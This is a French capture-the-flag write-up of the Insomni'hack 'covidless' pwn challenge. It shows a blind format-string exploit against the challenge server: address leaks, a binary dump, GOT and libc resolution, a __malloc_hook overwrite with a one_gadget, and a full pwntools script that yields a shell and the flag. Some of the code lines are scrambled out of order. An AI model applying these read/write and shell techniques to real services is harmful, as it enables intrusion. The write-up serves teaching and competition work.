Détails
- Catégorie : pwn
- Points : 74
- Résolutions : 81
Description
nc covidless.insomnihack.ch 6666
Comprendre le problème
Lors de la connexion au serveur, nous pouvons entrer des données qui seront renvoyées :
$ nc covidless.insomnihack.ch 6666
l
Your covid pass is invalid : l
try again ..
%p
Your covid pass is invalid : 0x400934
try again ..
Comme nous pouvons le voir, il s'agit d'un exploit de chaîne de format, mais le code source n'est pas fourni.
Nous pouvons rapidement identifier que l'ASLR est activée mais que PIE ne l'est pas, car les adresses de la libc changent entre les exécutions, mais pas celles du binaire:
$ nc covidless.insomnihack.ch 6666
%p %p %p %p
Your covid pass is invalid : 0x400934 (nil) (nil) 0x7f5c1aa67580
try again ..
$ nc covidless.insomnihack.ch 6666
%p %p %p %p
Your covid pass is invalid : 0x400934 (nil) (nil) 0x7f03e23b2580
try again ..
Nous avons également remarqué qu'il s'agit d'une architecture 64 bits.
Résoudre le problème
Nous pouvons utiliser la chaîne de format pour faire fuir le binaire, les adresses de la libc et les entrées de la GOT, déjouant ainsi l’ASLR.
Nous ne savions pas si RELRO (full) est activé ou non, donc notre idée était d’écraser __malloc_hook
avec l’adresse du one gadget et de forcer un appel à malloc
en appelant printf
avec un grand formateur.
Implémentation de la solution
La première étape consiste à trouver un moyen de lire à une adresse arbitraire. Pour cela, nous pouvons nous servir du formateur %s
.
En soumettant plusieurs %p
, nous pouvons voir que notre entrée est reflétée après le 12ème formateur :
$ nc covidless.insomnihack.ch 6666
ABCDEFGH %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
Your covid pass is invalid : ABCDEFGH 0x400934 (nil) (nil) 0x7f03e23b2580 0x7f03e21868d0 0x74346e3143633456 0x505f44315f6e6f31 0x5379334b5f763172 0x5f74304e6e34635f 0xa6b34336c (nil) 0x4847464544434241 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0xa70252070
try again ..
Notre fonction de lecture à une adresse arbitraire est donc la suivante :
= remote("covidless.insomnihack.ch", 6666)
conn
def read(addr):
b"%0013$s,"+p64(addr))
conn.sendline(b": ")
conn.recvuntil(= conn.recvuntil(b",", drop=True)
data b"try again ..\n\n")
conn.recvuntil(return data, len(data)
Comme les adresses 64 bits contiennent des octets nuls, nous avons dû placer l’adresse à la fin de notre payload, c’est pourquoi l’offset est ici de 13 et non de 12.
En utilisant cette fonction, nous avons écrit une autre fonction pour extraire autant d’octets que possible du binaire :
def dump(start=0x400000, size=0xa00):
= b''
data = start + size
end while start < end:
if start & 0xFF != 0x0a:
= read(start)
d, c else:
= b'\x00', 1
d, c if c == 0:
= b'\x00'
d = 1
c += d
data += c
start return data
with open("out.bin", "wb") as f:
f.write(dump())
Seul le début du binaire peut être extrait, mais il semble correct :
$ file out.bin
out.bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, missing section headers at 8616
Parce que le binaire est incomplet, il ne peut pas être ouvert facilement dans IDA. Mais nous pouvons le considérer comme un binaire brut et dire à IDA où décompiler. Nous avons récupéré le point d’entrée dans les en-têtes ELF en utilisant readelf
:
$ readelf -e out.bin
ELF Header:
Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
Class: ELF64
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: EXEC (Executable file)
Machine: Advanced Micro Devices X86-64
Version: 0x1
Entry point address: 0x400650
Start of program headers: 64 (bytes into file)
Start of section headers: 6824 (bytes into file)
Flags: 0x0
Size of this header: 64 (bytes)
Size of program headers: 56 (bytes)
Number of program headers: 9
Size of section headers: 64 (bytes)
Number of section headers: 29
Section header string table index: 28
readelf: Error: Reading 1856 bytes extends past end of file for section headers
Après avoir identifié la fonction main, et certaines des fonctions importées comme printf
et puts
, nous pouvons obtenir leurs adresses d’entrée dans la GOT à partir de la PLT, qui est contenue dans notre dump.
L’adresse de la GOT de printf
est donc 0x601028
et celle de puts
est 0x601018
.
En utilisant notre fonction read
, nous pouvons faire fuir leurs adresses dans la libc :
# printf
print(read(0x601028)[0].hex())
# puts
print(read(0x601018)[0].hex())
# 803e4568207f
# c0f94668207f
Depuis le site libc database, nous téléchargeons la libc correspondante et pouvons rechercher le one gadget :
$ one_gadget libc6_2.27-3ubuntu1_amd64.so
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
L’offset de __malloc_hook
est 0x3ebc30
.
Nous pouvons utiliser l’adresse de printf
obtenue précédemment pour claculer l’adresse de base de la libc.
= u64(read(0x601028)[0]+b'\x00'*2)
printf print(f"printf : {hex(printf)}")
= printf - 0x064e80 # from libc database
libc print(f"libc base : {hex(libc)}")
# check with /bin/sh
print(read(libc+0x1b3e9a)[0])
# printf : 0x7fa7c9db6e80
# libc base : 0x7fa7c9d52000
# b'/bin/sh'
Nous pouvons construire une fonction qui écrira un seul octet à une adresse arbitraire en utilisant l’opérateur %hhn
:
def writeByte(x, addr):
f"%{x:06}X%14$hhn,".encode() + p64(addr))
conn.sendline(b"try again ..\n\n") conn.recvuntil(
En utilisant la fonction ci-dessus, nous pouvons en créer une autre qui écrira un QWORD à une adresse arbitraire :
def writeGX(gx, addr):
= gx & 0xFF
a if a : writeByte(a, addr)
= (gx & 0xFF00) >> 8
a if a : writeByte(a, addr+1)
= (gx & 0xFF0000) >> 16
a if a : writeByte(a, addr+2)
= (gx & 0xFF000000) >> 24
a if a : writeByte(a, addr+3)
= (gx & 0xFF00000000) >> 32
a if a : writeByte(a, addr + 4)
= (gx & 0xFF0000000000) >> 40
a if a : writeByte(a, addr + 5)
= (gx & 0xFF000000000000) >> 48
a if a : writeByte(a, addr + 6)
= (gx & 0xFF00000000000000) >> 56
a if a : writeByte(a, addr + 7)
Nous pouvons alors utiliser cette fonction pour écraser __malloc_hook
avec l’adresse du one gadget :
= [0x4f2c5, 0x4f322, 0x10a38c]
one_gadgets = libc + one_gadgets[1]
shell print(f"one gadget : {hex(shell)}")
= libc+0x3ebc30
malloc_hook
writeGX(shell, malloc_hook)
# check overwrite
print(read(malloc_hook)[0].hex())
# one gadget : 0x7f1dd0b34322
# 2243b3d01d7f
Nous pouvons déclencher l’appel à __malloc_hook
en affichant une (très) grande chaîne de caractères avec printf
en utilisant un formateur :
"%74567p")
conn.sendline("id")
conn.sendline(
conn.interactive()
# [*] Switching to interactive mode
# uid=1000(covidless) gid=1000(covidless) groups=1000(covidless)
L’exploit complet est présenté ci-dessous :
from pwn import *
def read(addr):
b"%0013$s,"+p64(addr))
conn.sendline(b": ")
conn.recvuntil(= conn.recvuntil(b",", drop=True)
data b"try again ..\n\n")
conn.recvuntil(return data, len(data)
def writeByte(x, addr):
f"%{x:06}X%14$hhn,".encode() + p64(addr))
conn.sendline(b"try again ..\n\n")
conn.recvuntil(
def writeGX(gx, addr):
= gx & 0xFF
a if a : writeByte(a, addr)
= (gx & 0xFF00) >> 8
a if a : writeByte(a, addr+1)
= (gx & 0xFF0000) >> 16
a if a : writeByte(a, addr+2)
= (gx & 0xFF000000) >> 24
a if a : writeByte(a, addr+3)
= (gx & 0xFF00000000) >> 32
a if a : writeByte(a, addr + 4)
= (gx & 0xFF0000000000) >> 40
a if a : writeByte(a, addr + 5)
= (gx & 0xFF000000000000) >> 48
a if a : writeByte(a, addr + 6)
= (gx & 0xFF00000000000000) >> 56
a if a : writeByte(a, addr + 7)
def dump(start=0x400000, size=0xa00):
= b''
data = start + size
end while start < end:
if start & 0xFF != 0x0a:
= read(start)
d, c else:
= b'\x00', 1
d, c if c == 0:
= b'\x00'
d = 1
c += d
data += c
start return data
= remote("covidless.insomnihack.ch", 6666)
conn
= u64(read(0x601028)[0]+b'\x00'*2)
printf print(f"printf : {hex(printf)}")
= printf - 0x064e80 # from libc database
libc print(f"libc base : {hex(libc)}")
# check with /bin/sh
print(read(libc+0x1b3e9a)[0])
= [0x4f2c5, 0x4f322, 0x10a38c]
one_gadgets = libc + one_gadgets[1]
shell print(f"one gadget : {hex(shell)}")
= libc+0x3ebc30
malloc_hook
writeGX(shell, malloc_hook)
# check overwrite
print(read(malloc_hook)[0].hex())
"%74567p")
conn.sendline("id")
conn.sendline(
conn.interactive()
conn.close()
Flag : INS{F0rm4t_5tR1nGs_FuULly_Bl1nd_!Gj!}